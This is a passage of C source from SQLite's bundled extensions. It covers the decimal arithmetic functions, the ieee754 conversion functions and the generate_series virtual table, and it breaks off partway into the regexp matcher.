p->a = sqlite3_malloc(2);
if( p->a==0 ){
p->oom = 1;
}else{
p->a[0] = 0;
}
p->nDigit = 1;
p->nFrac = 0;
}
if( sqlite3_value_type(argv[0])==SQLITE_NULL ) return;
pArg = decimal_new(context, argv[0], 0, 0);
decimal_add(p, pArg);
decimal_free(pArg);
}
static void decimalSumInverse(
sqlite3_context *context,
int argc,
sqlite3_value **argv
){
Decimal *p;
Decimal *pArg;
UNUSED_PARAMETER(argc);
p = sqlite3_aggregate_context(context, sizeof(*p));
if( p==0 ) return;
if( sqlite3_value_type(argv[0])==SQLITE_NULL ) return;
pArg = decimal_new(context, argv[0], 0, 0);
if( pArg ) pArg->sign = !pArg->sign;
decimal_add(p, pArg);
decimal_free(pArg);
}
static void decimalSumValue(sqlite3_context *context){
Decimal *p = sqlite3_aggregate_context(context, 0);
if( p==0 ) return;
decimal_result(context, p);
}
static void decimalSumFinalize(sqlite3_context *context){
Decimal *p = sqlite3_aggregate_context(context, 0);
if( p==0 ) return;
decimal_result(context, p);
decimal_clear(p);
}
/*
** SQL Function: decimal_mul(X, Y)
**
** Return the product of X and Y.
**
** All significant digits after the decimal point are retained.
** Trailing zeros after the decimal point are omitted as long as
** the number of digits after the decimal point is no less than
** either the number of digits in either input.
*/
static void decimalMulFunc(
sqlite3_context *context,
int argc,
sqlite3_value **argv
){
Decimal *pA = decimal_new(context, argv[0], 0, 0);
Decimal *pB = decimal_new(context, argv[1], 0, 0);
signed char *acc = 0;
int i, j, k;
int minFrac;
UNUSED_PARAMETER(argc);
if( pA==0 || pA->oom || pA->isNull
|| pB==0 || pB->oom || pB->isNull
){
goto mul_end;
}
acc = sqlite3_malloc64( pA->nDigit + pB->nDigit + 2 );
if( acc==0 ){
sqlite3_result_error_nomem(context);
goto mul_end;
}
memset(acc, 0, pA->nDigit + pB->nDigit + 2);
minFrac = pA->nFrac;
if( pB->nFrac<minFrac ) minFrac = pB->nFrac;
for(i=pA->nDigit-1; i>=0; i--){
signed char f = pA->a[i];
int carry = 0, x;
for(j=pB->nDigit-1, k=i+j+3; j>=0; j--, k--){
x = acc[k] + f*pB->a[j] + carry;
acc[k] = x%10;
carry = x/10;
}
x = acc[k] + carry;
acc[k] = x%10;
acc[k-1] += x/10;
}
sqlite3_free(pA->a);
pA->a = acc;
acc = 0;
pA->nDigit += pB->nDigit + 2;
pA->nFrac += pB->nFrac;
pA->sign ^= pB->sign;
while( pA->nFrac>minFrac && pA->a[pA->nDigit-1]==0 ){
pA->nFrac--;
pA->nDigit--;
}
decimal_result(context, pA);
mul_end:
sqlite3_free(acc);
decimal_free(pA);
decimal_free(pB);
}
#ifdef _WIN32
#endif
int sqlite3_decimal_init(
sqlite3 *db,
char **pzErrMsg,
const sqlite3_api_routines *pApi
){
int rc = SQLITE_OK;
static const struct {
const char *zFuncName;
int nArg;
void (*xFunc)(sqlite3_context*,int,sqlite3_value**);
} aFunc[] = {
{ "decimal", 1, decimalFunc },
{ "decimal_cmp", 2, decimalCmpFunc },
{ "decimal_add", 2, decimalAddFunc },
{ "decimal_sub", 2, decimalSubFunc },
{ "decimal_mul", 2, decimalMulFunc },
};
unsigned int i;
(void)pzErrMsg; /* Unused parameter */
SQLITE_EXTENSION_INIT2(pApi);
for(i=0; i<sizeof(aFunc)/sizeof(aFunc[0]) && rc==SQLITE_OK; i++){
rc = sqlite3_create_function(db, aFunc[i].zFuncName, aFunc[i].nArg,
SQLITE_UTF8|SQLITE_INNOCUOUS|SQLITE_DETERMINISTIC,
0, aFunc[i].xFunc, 0, 0);
}
if( rc==SQLITE_OK ){
rc = sqlite3_create_window_function(db, "decimal_sum", 1,
SQLITE_UTF8|SQLITE_INNOCUOUS|SQLITE_DETERMINISTIC, 0,
decimalSumStep, decimalSumFinalize,
decimalSumValue, decimalSumInverse, 0);
}
if( rc==SQLITE_OK ){
rc = sqlite3_create_collation(db, "decimal", SQLITE_UTF8,
0, decimalCollFunc);
}
return rc;
}
/************************* End ../ext/misc/decimal.c ********************/
/************************* Begin ../ext/misc/ieee754.c ******************/
/*
** 2013-04-17
**
** The author disclaims copyright to this source code. In place of
** a legal notice, here is a blessing:
**
** May you do good and not evil.
** May you find forgiveness for yourself and forgive others.
** May you share freely, never taking more than you give.
**
******************************************************************************
**
** This SQLite extension implements functions for the exact display
** and input of IEEE754 Binary64 floating-point numbers.
**
** ieee754(X)
** ieee754(Y,Z)
**
** In the first form, the value X should be a floating-point number.
** The function will return a string of the form 'ieee754(Y,Z)' where
** Y and Z are integers such that X==Y*pow(2,Z).
**
** In the second form, Y and Z are integers which are the mantissa and
** base-2 exponent of a new floating point number. The function returns
** a floating-point value equal to Y*pow(2,Z).
**
** Examples:
**
** ieee754(2.0) -> 'ieee754(2,0)'
** ieee754(45.25) -> 'ieee754(181,-2)'
** ieee754(2, 0) -> 2.0
** ieee754(181, -2) -> 45.25
**
** Two additional functions break apart the one-argument ieee754()
** result into separate integer values:
**
** ieee754_mantissa(45.25) -> 181
** ieee754_exponent(45.25) -> -2
**
** These functions convert binary64 numbers into blobs and back again.
**
** ieee754_from_blob(x'3ff0000000000000') -> 1.0
** ieee754_to_blob(1.0) -> x'3ff0000000000000'
**
** In all single-argument functions, if the argument is an 8-byte blob
** then that blob is interpreted as a big-endian binary64 value.
**
**
** EXACT DECIMAL REPRESENTATION OF BINARY64 VALUES
** -----------------------------------------------
**
** This extension in combination with the separate 'decimal' extension
** can be used to compute the exact decimal representation of binary64
** values. To begin, first compute a table of exponent values:
**
** CREATE TABLE pow2(x INTEGER PRIMARY KEY, v TEXT);
** WITH RECURSIVE c(x,v) AS (
** VALUES(0,'1')
** UNION ALL
** SELECT x+1, decimal_mul(v,'2') FROM c WHERE x+1<=971
** ) INSERT INTO pow2(x,v) SELECT x, v FROM c;
** WITH RECURSIVE c(x,v) AS (
** VALUES(-1,'0.5')
** UNION ALL
** SELECT x-1, decimal_mul(v,'0.5') FROM c WHERE x-1>=-1075
** ) INSERT INTO pow2(x,v) SELECT x, v FROM c;
**
** Then, to compute the exact decimal representation of a floating
** point value (the value 47.49 is used in the example) do:
**
** WITH c(n) AS (VALUES(47.49))
** ---------------^^^^^---- Replace with whatever you want
** SELECT decimal_mul(ieee754_mantissa(c.n),pow2.v)
** FROM pow2, c WHERE pow2.x=ieee754_exponent(c.n);
**
** Here is a query to show various boundry values for the binary64
** number format:
**
** WITH c(name,bin) AS (VALUES
** ('minimum positive value', x'0000000000000001'),
** ('maximum subnormal value', x'000fffffffffffff'),
** ('mininum positive nornal value', x'0010000000000000'),
** ('maximum value', x'7fefffffffffffff'))
** SELECT c.name, decimal_mul(ieee754_mantissa(c.bin),pow2.v)
** FROM pow2, c WHERE pow2.x=ieee754_exponent(c.bin);
**
*/
/* #include "sqlite3ext.h" */
SQLITE_EXTENSION_INIT1
#include <assert.h>
#include <string.h>
/* Mark a function parameter as unused, to suppress nuisance compiler
** warnings. */
#ifndef UNUSED_PARAMETER
# define UNUSED_PARAMETER(X) (void)(X)
#endif
/*
** Implementation of the ieee754() function
*/
static void ieee754func(
sqlite3_context *context,
int argc,
sqlite3_value **argv
){
if( argc==1 ){
sqlite3_int64 m, a;
double r;
int e;
int isNeg;
char zResult[100];
assert( sizeof(m)==sizeof(r) );
if( sqlite3_value_type(argv[0])==SQLITE_BLOB
&& sqlite3_value_bytes(argv[0])==sizeof(r)
){
const unsigned char *x = sqlite3_value_blob(argv[0]);
unsigned int i;
sqlite3_uint64 v = 0;
for(i=0; i<sizeof(r); i++){
v = (v<<8) | x[i];
}
memcpy(&r, &v, sizeof(r));
}else{
r = sqlite3_value_double(argv[0]);
}
if( r<0.0 ){
isNeg = 1;
r = -r;
}else{
isNeg = 0;
}
memcpy(&a,&r,sizeof(a));
if( a==0 ){
e = 0;
m = 0;
}else{
e = a>>52;
m = a & ((((sqlite3_int64)1)<<52)-1);
if( e==0 ){
m <<= 1;
}else{
m |= ((sqlite3_int64)1)<<52;
}
while( e<1075 && m>0 && (m&1)==0 ){
m >>= 1;
e++;
}
if( isNeg ) m = -m;
}
switch( *(int*)sqlite3_user_data(context) ){
case 0:
sqlite3_snprintf(sizeof(zResult), zResult, "ieee754(%lld,%d)",
m, e-1075);
sqlite3_result_text(context, zResult, -1, SQLITE_TRANSIENT);
break;
case 1:
sqlite3_result_int64(context, m);
break;
case 2:
sqlite3_result_int(context, e-1075);
break;
}
}else{
sqlite3_int64 m, e, a;
double r;
int isNeg = 0;
m = sqlite3_value_int64(argv[0]);
e = sqlite3_value_int64(argv[1]);
/* Limit the range of e. Ticket 22dea1cfdb9151e4 2021-03-02 */
if( e>10000 ){
e = 10000;
}else if( e<-10000 ){
e = -10000;
}
if( m<0 ){
isNeg = 1;
m = -m;
if( m<0 ) return;
}else if( m==0 && e>-1000 && e<1000 ){
sqlite3_result_double(context, 0.0);
return;
}
while( (m>>32)&0xffe00000 ){
m >>= 1;
e++;
}
while( m!=0 && ((m>>32)&0xfff00000)==0 ){
m <<= 1;
e--;
}
e += 1075;
if( e<=0 ){
/* Subnormal */
m >>= 1-e;
e = 0;
}else if( e>0x7ff ){
e = 0x7ff;
}
a = m & ((((sqlite3_int64)1)<<52)-1);
a |= e<<52;
if( isNeg ) a |= ((sqlite3_uint64)1)<<63;
memcpy(&r, &a, sizeof(r));
sqlite3_result_double(context, r);
}
}
/*
** Functions to convert between blobs and floats.
*/
static void ieee754func_from_blob(
sqlite3_context *context,
int argc,
sqlite3_value **argv
){
UNUSED_PARAMETER(argc);
if( sqlite3_value_type(argv[0])==SQLITE_BLOB
&& sqlite3_value_bytes(argv[0])==sizeof(double)
){
double r;
const unsigned char *x = sqlite3_value_blob(argv[0]);
unsigned int i;
sqlite3_uint64 v = 0;
for(i=0; i<sizeof(r); i++){
v = (v<<8) | x[i];
}
memcpy(&r, &v, sizeof(r));
sqlite3_result_double(context, r);
}
}
static void ieee754func_to_blob(
sqlite3_context *context,
int argc,
sqlite3_value **argv
){
UNUSED_PARAMETER(argc);
if( sqlite3_value_type(argv[0])==SQLITE_FLOAT
|| sqlite3_value_type(argv[0])==SQLITE_INTEGER
){
double r = sqlite3_value_double(argv[0]);
sqlite3_uint64 v;
unsigned char a[sizeof(r)];
unsigned int i;
memcpy(&v, &r, sizeof(r));
for(i=1; i<=sizeof(r); i++){
a[sizeof(r)-i] = v&0xff;
v >>= 8;
}
sqlite3_result_blob(context, a, sizeof(r), SQLITE_TRANSIENT);
}
}
#ifdef _WIN32
#endif
int sqlite3_ieee_init(
sqlite3 *db,
char **pzErrMsg,
const sqlite3_api_routines *pApi
){
static const struct {
char *zFName;
int nArg;
int iAux;
void (*xFunc)(sqlite3_context*,int,sqlite3_value**);
} aFunc[] = {
{ "ieee754", 1, 0, ieee754func },
{ "ieee754", 2, 0, ieee754func },
{ "ieee754_mantissa", 1, 1, ieee754func },
{ "ieee754_exponent", 1, 2, ieee754func },
{ "ieee754_to_blob", 1, 0, ieee754func_to_blob },
{ "ieee754_from_blob", 1, 0, ieee754func_from_blob },
};
unsigned int i;
int rc = SQLITE_OK;
SQLITE_EXTENSION_INIT2(pApi);
(void)pzErrMsg; /* Unused parameter */
for(i=0; i<sizeof(aFunc)/sizeof(aFunc[0]) && rc==SQLITE_OK; i++){
rc = sqlite3_create_function(db, aFunc[i].zFName, aFunc[i].nArg,
SQLITE_UTF8|SQLITE_INNOCUOUS,
(void*)&aFunc[i].iAux,
aFunc[i].xFunc, 0, 0);
}
return rc;
}
/************************* End ../ext/misc/ieee754.c ********************/
/************************* Begin ../ext/misc/series.c ******************/
/*
** 2015-08-18
**
** The author disclaims copyright to this source code. In place of
** a legal notice, here is a blessing:
**
** May you do good and not evil.
** May you find forgiveness for yourself and forgive others.
** May you share freely, never taking more than you give.
**
*************************************************************************
**
** This file demonstrates how to create a table-valued-function using
** a virtual table. This demo implements the generate_series() function
** which gives similar results to the eponymous function in PostgreSQL.
** Examples:
**
** SELECT * FROM generate_series(0,100,5);
**
** The query above returns integers from 0 through 100 counting by steps
** of 5.
**
** SELECT * FROM generate_series(0,100);
**
** Integers from 0 through 100 with a step size of 1.
**
** SELECT * FROM generate_series(20) LIMIT 10;
**
** Integers 20 through 29.
**
** HOW IT WORKS
**
** The generate_series "function" is really a virtual table with the
** following schema:
**
** CREATE TABLE generate_series(
** value,
** start HIDDEN,
** stop HIDDEN,
** step HIDDEN
** );
**
** Function arguments in queries against this virtual table are translated
** into equality constraints against successive hidden columns. In other
** words, the following pairs of queries are equivalent to each other:
**
** SELECT * FROM generate_series(0,100,5);
** SELECT * FROM generate_series WHERE start=0 AND stop=100 AND step=5;
**
** SELECT * FROM generate_series(0,100);
** SELECT * FROM generate_series WHERE start=0 AND stop=100;
**
** SELECT * FROM generate_series(20) LIMIT 10;
** SELECT * FROM generate_series WHERE start=20 LIMIT 10;
**
** The generate_series virtual table implementation leaves the xCreate method
** set to NULL. This means that it is not possible to do a CREATE VIRTUAL
** TABLE command with "generate_series" as the USING argument. Instead, there
** is a single generate_series virtual table that is always available without
** having to be created first.
**
** The xBestIndex method looks for equality constraints against the hidden
** start, stop, and step columns, and if present, it uses those constraints
** to bound the sequence of generated values. If the equality constraints
** are missing, it uses 0 for start, 4294967295 for stop, and 1 for step.
** xBestIndex returns a small cost when both start and stop are available,
** and a very large cost if either start or stop are unavailable. This
** encourages the query planner to order joins such that the bounds of the
** series are well-defined.
*/
/* #include "sqlite3ext.h" */
SQLITE_EXTENSION_INIT1
#include <assert.h>
#include <string.h>
#ifndef SQLITE_OMIT_VIRTUALTABLE
/* series_cursor is a subclass of sqlite3_vtab_cursor which will
** serve as the underlying representation of a cursor that scans
** over rows of the result
*/
typedef struct series_cursor series_cursor;
struct series_cursor {
sqlite3_vtab_cursor base; /* Base class - must be first */
int isDesc; /* True to count down rather than up */
sqlite3_int64 iRowid; /* The rowid */
sqlite3_int64 iValue; /* Current value ("value") */
sqlite3_int64 mnValue; /* Mimimum value ("start") */
sqlite3_int64 mxValue; /* Maximum value ("stop") */
sqlite3_int64 iStep; /* Increment ("step") */
};
/*
** The seriesConnect() method is invoked to create a new
** series_vtab that describes the generate_series virtual table.
**
** Think of this routine as the constructor for series_vtab objects.
**
** All this routine needs to do is:
**
** (1) Allocate the series_vtab object and initialize all fields.
**
** (2) Tell SQLite (via the sqlite3_declare_vtab() interface) what the
** result set of queries against generate_series will look like.
*/
static int seriesConnect(
sqlite3 *db,
void *pUnused,
int argcUnused, const char *const*argvUnused,
sqlite3_vtab **ppVtab,
char **pzErrUnused
){
sqlite3_vtab *pNew;
int rc;
/* Column numbers */
#define SERIES_COLUMN_VALUE 0
#define SERIES_COLUMN_START 1
#define SERIES_COLUMN_STOP 2
#define SERIES_COLUMN_STEP 3
(void)pUnused;
(void)argcUnused;
(void)argvUnused;
(void)pzErrUnused;
rc = sqlite3_declare_vtab(db,
"CREATE TABLE x(value,start hidden,stop hidden,step hidden)");
if( rc==SQLITE_OK ){
pNew = *ppVtab = sqlite3_malloc( sizeof(*pNew) );
if( pNew==0 ) return SQLITE_NOMEM;
memset(pNew, 0, sizeof(*pNew));
sqlite3_vtab_config(db, SQLITE_VTAB_INNOCUOUS);
}
return rc;
}
/*
** This method is the destructor for series_cursor objects.
*/
static int seriesDisconnect(sqlite3_vtab *pVtab){
sqlite3_free(pVtab);
return SQLITE_OK;
}
/*
** Constructor for a new series_cursor object.
*/
static int seriesOpen(sqlite3_vtab *pUnused, sqlite3_vtab_cursor **ppCursor){
series_cursor *pCur;
(void)pUnused;
pCur = sqlite3_malloc( sizeof(*pCur) );
if( pCur==0 ) return SQLITE_NOMEM;
memset(pCur, 0, sizeof(*pCur));
*ppCursor = &pCur->base;
return SQLITE_OK;
}
/*
** Destructor for a series_cursor.
*/
static int seriesClose(sqlite3_vtab_cursor *cur){
sqlite3_free(cur);
return SQLITE_OK;
}
/*
** Advance a series_cursor to its next row of output.
*/
static int seriesNext(sqlite3_vtab_cursor *cur){
series_cursor *pCur = (series_cursor*)cur;
if( pCur->isDesc ){
pCur->iValue -= pCur->iStep;
}else{
pCur->iValue += pCur->iStep;
}
pCur->iRowid++;
return SQLITE_OK;
}
/*
** Return values of columns for the row at which the series_cursor
** is currently pointing.
*/
static int seriesColumn(
sqlite3_vtab_cursor *cur, /* The cursor */
sqlite3_context *ctx, /* First argument to sqlite3_result_...() */
int i /* Which column to return */
){
series_cursor *pCur = (series_cursor*)cur;
sqlite3_int64 x = 0;
switch( i ){
case SERIES_COLUMN_START: x = pCur->mnValue; break;
case SERIES_COLUMN_STOP: x = pCur->mxValue; break;
case SERIES_COLUMN_STEP: x = pCur->iStep; break;
default: x = pCur->iValue; break;
}
sqlite3_result_int64(ctx, x);
return SQLITE_OK;
}
/*
** Return the rowid for the current row. In this implementation, the
** first row returned is assigned rowid value 1, and each subsequent
** row a value 1 more than that of the previous.
*/
static int seriesRowid(sqlite3_vtab_cursor *cur, sqlite_int64 *pRowid){
series_cursor *pCur = (series_cursor*)cur;
*pRowid = pCur->iRowid;
return SQLITE_OK;
}
/*
** Return TRUE if the cursor has been moved off of the last
** row of output.
*/
static int seriesEof(sqlite3_vtab_cursor *cur){
series_cursor *pCur = (series_cursor*)cur;
if( pCur->isDesc ){
return pCur->iValue < pCur->mnValue;
}else{
return pCur->iValue > pCur->mxValue;
}
}
/* True to cause run-time checking of the start=, stop=, and/or step=
** parameters. The only reason to do this is for testing the
** constraint checking logic for virtual tables in the SQLite core.
*/
#ifndef SQLITE_SERIES_CONSTRAINT_VERIFY
# define SQLITE_SERIES_CONSTRAINT_VERIFY 0
#endif
/*
** This method is called to "rewind" the series_cursor object back
** to the first row of output. This method is always called at least
** once prior to any call to seriesColumn() or seriesRowid() or
** seriesEof().
**
** The query plan selected by seriesBestIndex is passed in the idxNum
** parameter. (idxStr is not used in this implementation.) idxNum
** is a bitmask showing which constraints are available:
**
** 1: start=VALUE
** 2: stop=VALUE
** 4: step=VALUE
**
** Also, if bit 8 is set, that means that the series should be output
** in descending order rather than in ascending order. If bit 16 is
** set, then output must appear in ascending order.
**
** This routine should initialize the cursor and position it so that it
** is pointing at the first row, or pointing off the end of the table
** (so that seriesEof() will return true) if the table is empty.
*/
static int seriesFilter(
sqlite3_vtab_cursor *pVtabCursor,
int idxNum, const char *idxStrUnused,
int argc, sqlite3_value **argv
){
series_cursor *pCur = (series_cursor *)pVtabCursor;
int i = 0;
(void)idxStrUnused;
if( idxNum & 1 ){
pCur->mnValue = sqlite3_value_int64(argv[i++]);
}else{
pCur->mnValue = 0;
}
if( idxNum & 2 ){
pCur->mxValue = sqlite3_value_int64(argv[i++]);
}else{
pCur->mxValue = 0xffffffff;
}
if( idxNum & 4 ){
pCur->iStep = sqlite3_value_int64(argv[i++]);
if( pCur->iStep==0 ){
pCur->iStep = 1;
}else if( pCur->iStep<0 ){
pCur->iStep = -pCur->iStep;
if( (idxNum & 16)==0 ) idxNum |= 8;
}
}else{
pCur->iStep = 1;
}
for(i=0; i<argc; i++){
if( sqlite3_value_type(argv[i])==SQLITE_NULL ){
/* If any of the constraints have a NULL value, then return no rows.
** See ticket https://www.sqlite.org/src/info/fac496b61722daf2 */
pCur->mnValue = 1;
pCur->mxValue = 0;
break;
}
}
if( idxNum & 8 ){
pCur->isDesc = 1;
pCur->iValue = pCur->mxValue;
if( pCur->iStep>0 ){
pCur->iValue -= (pCur->mxValue - pCur->mnValue)%pCur->iStep;
}
}else{
pCur->isDesc = 0;
pCur->iValue = pCur->mnValue;
}
pCur->iRowid = 1;
return SQLITE_OK;
}
/*
** SQLite will invoke this method one or more times while planning a query
** that uses the generate_series virtual table. This routine needs to create
** a query plan for each invocation and compute an estimated cost for that
** plan.
**
** In this implementation idxNum is used to represent the
** query plan. idxStr is unused.
**
** The query plan is represented by bits in idxNum:
**
** (1) start = $value -- constraint exists
** (2) stop = $value -- constraint exists
** (4) step = $value -- constraint exists
** (8) output in descending order
*/
static int seriesBestIndex(
sqlite3_vtab *tabUnused,
sqlite3_index_info *pIdxInfo
){
int i, j; /* Loop over constraints */
int idxNum = 0; /* The query plan bitmask */
int unusableMask = 0; /* Mask of unusable constraints */
int nArg = 0; /* Number of arguments that seriesFilter() expects */
int aIdx[3]; /* Constraints on start, stop, and step */
const struct sqlite3_index_constraint *pConstraint;
/* This implementation assumes that the start, stop, and step columns
** are the last three columns in the virtual table. */
assert( SERIES_COLUMN_STOP == SERIES_COLUMN_START+1 );
assert( SERIES_COLUMN_STEP == SERIES_COLUMN_START+2 );
(void)tabUnused;
aIdx[0] = aIdx[1] = aIdx[2] = -1;
pConstraint = pIdxInfo->aConstraint;
for(i=0; i<pIdxInfo->nConstraint; i++, pConstraint++){
int iCol; /* 0 for start, 1 for stop, 2 for step */
int iMask; /* bitmask for those column */
if( pConstraint->iColumn<SERIES_COLUMN_START ) continue;
iCol = pConstraint->iColumn - SERIES_COLUMN_START;
assert( iCol>=0 && iCol<=2 );
iMask = 1 << iCol;
if( pConstraint->usable==0 ){
unusableMask |= iMask;
continue;
}else if( pConstraint->op==SQLITE_INDEX_CONSTRAINT_EQ ){
idxNum |= iMask;
aIdx[iCol] = i;
}
}
for(i=0; i<3; i++){
if( (j = aIdx[i])>=0 ){
pIdxInfo->aConstraintUsage[j].argvIndex = ++nArg;
pIdxInfo->aConstraintUsage[j].omit = !SQLITE_SERIES_CONSTRAINT_VERIFY;
}
}
if( (unusableMask & ~idxNum)!=0 ){
/* The start, stop, and step columns are inputs. Therefore if there
** are unusable constraints on any of start, stop, or step then
** this plan is unusable */
return SQLITE_CONSTRAINT;
}
if( (idxNum & 3)==3 ){
/* Both start= and stop= boundaries are available. This is the
** the preferred case */
pIdxInfo->estimatedCost = (double)(2 - ((idxNum&4)!=0));
pIdxInfo->estimatedRows = 1000;
if( pIdxInfo->nOrderBy==1 ){
if( pIdxInfo->aOrderBy[0].desc ){
idxNum |= 8;
}else{
idxNum |= 16;
}
pIdxInfo->orderByConsumed = 1;
}
}else{
/* If either boundary is missing, we have to generate a huge span
** of numbers. Make this case very expensive so that the query
** planner will work hard to avoid it. */
pIdxInfo->estimatedRows = 2147483647;
}
pIdxInfo->idxNum = idxNum;
return SQLITE_OK;
}
/*
** This following structure defines all the methods for the
** generate_series virtual table.
*/
static sqlite3_module seriesModule = {
0, /* iVersion */
0, /* xCreate */
seriesConnect, /* xConnect */
seriesBestIndex, /* xBestIndex */
seriesDisconnect, /* xDisconnect */
0, /* xDestroy */
seriesOpen, /* xOpen - open a cursor */
seriesClose, /* xClose - close a cursor */
seriesFilter, /* xFilter - configure scan constraints */
seriesNext, /* xNext - advance a cursor */
seriesEof, /* xEof - check for end of scan */
seriesColumn, /* xColumn - read data */
seriesRowid, /* xRowid - read data */
0, /* xUpdate */
0, /* xBegin */
0, /* xSync */
0, /* xCommit */
0, /* xRollback */
0, /* xFindMethod */
0, /* xRename */
0, /* xSavepoint */
0, /* xRelease */
0, /* xRollbackTo */
0 /* xShadowName */
};
#endif /* SQLITE_OMIT_VIRTUALTABLE */
#ifdef _WIN32
#endif
int sqlite3_series_init(
sqlite3 *db,
char **pzErrMsg,
const sqlite3_api_routines *pApi
){
int rc = SQLITE_OK;
SQLITE_EXTENSION_INIT2(pApi);
#ifndef SQLITE_OMIT_VIRTUALTABLE
if( sqlite3_libversion_number()<3008012 ){
*pzErrMsg = sqlite3_mprintf(
"generate_series() requires SQLite 3.8.12 or later");
return SQLITE_ERROR;
}
rc = sqlite3_create_module(db, "generate_series", &seriesModule, 0);
#endif
return rc;
}
/************************* End ../ext/misc/series.c ********************/
/************************* Begin ../ext/misc/regexp.c ******************/
/*
** 2012-11-13
**
** The author disclaims copyright to this source code. In place of
** a legal notice, here is a blessing:
**
** May you do good and not evil.
** May you find forgiveness for yourself and forgive others.
** May you share freely, never taking more than you give.
**
******************************************************************************
**
** The code in this file implements a compact but reasonably
** efficient regular-expression matcher for posix extended regular
** expressions against UTF8 text.
**
** This file is an SQLite extension. It registers a single function
** named "regexp(A,B)" where A is the regular expression and B is the
** string to be matched. By registering this function, SQLite will also
** then implement the "B regexp A" operator. Note that with the function
** the regular expression comes first, but with the operator it comes
** second.
**
** The following regular expression syntax is supported:
**
** X* zero or more occurrences of X
** X+ one or more occurrences of X
** X? zero or one occurrences of X
** X{p,q} between p and q occurrences of X
** (X) match X
** X|Y X or Y
** ^X X occurring at the beginning of the string
** X$ X occurring at the end of the string
** . Match any single character
** \c Character c where c is one of \{}()[]|*+?.
** \c C-language escapes for c in afnrtv. ex: \t or \n
** \uXXXX Where XXXX is exactly 4 hex digits, unicode value XXXX
** \xXX Where XX is exactly 2 hex digits, unicode value XX
** [abc] Any single character from the set abc
** [^abc] Any single character not in the set abc
** [a-z] Any single character in the range a-z
** [^a-z] Any single character not in the range a-z
** \b Word boundary
** \w Word character. [A-Za-z0-9_]
** \W Non-word character
** \d Digit
** \D Non-digit
** \s Whitespace character
** \S Non-whitespace character
**
** A nondeterministic finite automaton (NFA) is used for matching, so the
** performance is bounded by O(N*M) where N is the size of the regular
** expression and M is the size of the input string. The matcher never
** exhibits exponential behavior. Note that the X{p,q} operator expands
** to p copies of X following by q-p copies of X? and that the size of the
** regular expression in the O(N*M) performance bound is computed after
** this expansion.
*/
#include <string.h>
#include <stdlib.h>
/* #include "sqlite3ext.h" */
SQLITE_EXTENSION_INIT1
/*
** The following #defines change the names of some functions implemented in
** this file to prevent name collisions with C-library functions of the
** same name.
*/
#define re_match sqlite3re_match
#define re_compile sqlite3re_compile
#define re_free sqlite3re_free
/* The end-of-input character */
#define RE_EOF 0 /* End of input */
/* The NFA is implemented as sequence of opcodes taken from the following
** set. Each opcode has a single integer argument.
*/
#define RE_OP_MATCH 1 /* Match the one character in the argument */
#define RE_OP_ANY 2 /* Match any one character. (Implements ".") */
#define RE_OP_ANYSTAR 3 /* Special optimized version of .* */
#define RE_OP_FORK 4 /* Continue to both next and opcode at iArg */
#define RE_OP_GOTO 5 /* Jump to opcode at iArg */
#define RE_OP_ACCEPT 6 /* Halt and indicate a successful match */
#define RE_OP_CC_INC 7 /* Beginning of a [...] character class */
#define RE_OP_CC_EXC 8 /* Beginning of a [^...] character class */
#define RE_OP_CC_VALUE 9 /* Single value in a character class */
#define RE_OP_CC_RANGE 10 /* Range of values in a character class */
#define RE_OP_WORD 11 /* Perl word character [A-Za-z0-9_] */
#define RE_OP_NOTWORD 12 /* Not a perl word character */
#define RE_OP_DIGIT 13 /* digit: [0-9] */
#define RE_OP_NOTDIGIT 14 /* Not a digit */
#define RE_OP_SPACE 15 /* space: [ \t\n\r\v\f] */
#define RE_OP_NOTSPACE 16 /* Not a digit */
#define RE_OP_BOUNDARY 17 /* Boundary between word and non-word */
/* Each opcode is a "state" in the NFA */
typedef unsigned short ReStateNumber;
/* Because this is an NFA and not a DFA, multiple states can be active at
** once. An instance of the following object records all active states in
** the NFA. The implementation is optimized for the common case where the
** number of actives states is small.
*/
typedef struct ReStateSet {
unsigned nState; /* Number of current states */
ReStateNumber *aState; /* Current states */
} ReStateSet;
/* An input string read one character at a time.
*/
typedef struct ReInput ReInput;
struct ReInput {
const unsigned char *z; /* All text */
int i; /* Next byte to read */
int mx; /* EOF when i>=mx */
};
/* A compiled NFA (or an NFA that is in the process of being compiled) is
** an instance of the following object.
*/
typedef struct ReCompiled ReCompiled;
struct ReCompiled {
ReInput sIn; /* Regular expression text */
const char *zErr; /* Error message to return */
char *aOp; /* Operators for the virtual machine */
int *aArg; /* Arguments to each operator */
unsigned (*xNextChar)(ReInput*); /* Next character function */
unsigned char zInit[12]; /* Initial text to match */
int nInit; /* Number of characters in zInit */
unsigned nState; /* Number of entries in aOp[] and aArg[] */
unsigned nAlloc; /* Slots allocated for aOp[] and aArg[] */
};
/* Add a state to the given state set if it is not already there */
static void re_add_state(ReStateSet *pSet, int newState){
unsigned i;
for(i=0; i<pSet->nState; i++) if( pSet->aState[i]==newState ) return;
pSet->aState[pSet->nState++] = (ReStateNumber)newState;
}
/* Extract the next unicode character from *pzIn and return it. Advance
** *pzIn to the first byte past the end of the character returned. To
** be clear: this routine converts utf8 to unicode. This routine is
** optimized for the common case where the next character is a single byte.
*/
static unsigned re_next_char(ReInput *p){
unsigned c;
if( p->i>=p->mx ) return 0;
c = p->z[p->i++];
if( c>=0x80 ){
if( (c&0xe0)==0xc0 && p->i<p->mx && (p->z[p->i]&0xc0)==0x80 ){
c = (c&0x1f)<<6 | (p->z[p->i++]&0x3f);
if( c<0x80 ) c = 0xfffd;
}else if( (c&0xf0)==0xe0 && p->i+1<p->mx && (p->z[p->i]&0xc0)==0x80
&& (p->z[p->i+1]&0xc0)==0x80 ){
c = (c&0x0f)<<12 | ((p->z[p->i]&0x3f)<<6) | (p->z[p->i+1]&0x3f);
p->i += 2;
if( c<=0x7ff || (c>=0xd800 && c<=0xdfff) ) c = 0xfffd;
}else if( (c&0xf8)==0xf0 && p->i+3<p->mx && (p->z[p->i]&0xc0)==0x80
&& (p->z[p->i+1]&0xc0)==0x80 && (p->z[p->i+2]&0xc0)==0x80 ){
c = (c&0x07)<<18 | ((p->z[p->i]&0x3f)<<12) | ((p->z[p->i+1]&0x3f)<<6)
| (p->z[p->i+2]&0x3f);
p->i += 3;
if( c<=0xffff || c>0x10ffff ) c = 0xfffd;
}else{
c = 0xfffd;
}
}
return c;
}
static unsigned re_next_char_nocase(ReInput *p){
unsigned c = re_next_char(p);
if( c>='A' && c<='Z' ) c += 'a' - 'A';
return c;
}
/* Return true if c is a perl "word" character: [A-Za-z0-9_] */
static int re_word_char(int c){
return (c>='0' && c<='9') || (c>='a' && c<='z')
|| (c>='A' && c<='Z') || c=='_';
}
/* Return true if c is a "digit" character: [0-9] */
static int re_digit_char(int c){
